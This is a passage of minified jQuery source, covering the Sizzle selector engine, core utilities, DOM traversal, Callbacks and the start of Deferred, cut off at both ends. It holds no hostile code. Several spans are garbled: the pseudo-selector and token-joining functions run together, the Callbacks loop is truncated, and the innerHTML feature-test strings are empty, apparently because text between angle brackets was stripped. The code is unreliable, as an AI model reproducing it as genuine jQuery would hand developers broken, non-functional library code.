b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype||{},"isPrototypeOf"))return!1;for(b in a);return void 0===b||k.call(a,b)},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=d.createElement("script"),b.text=a,d.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:h.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(d=e.call(arguments,2),f=function(){return a.apply(b||this,d.concat(e.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return h.call(b,a)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&f.parentNode&&(this.length=1,this[0]=f),this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?void 0!==c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?h.call(n(a),this[0]):h.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||n.uniqueSort(e),D.test(a)&&e.reverse()),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return 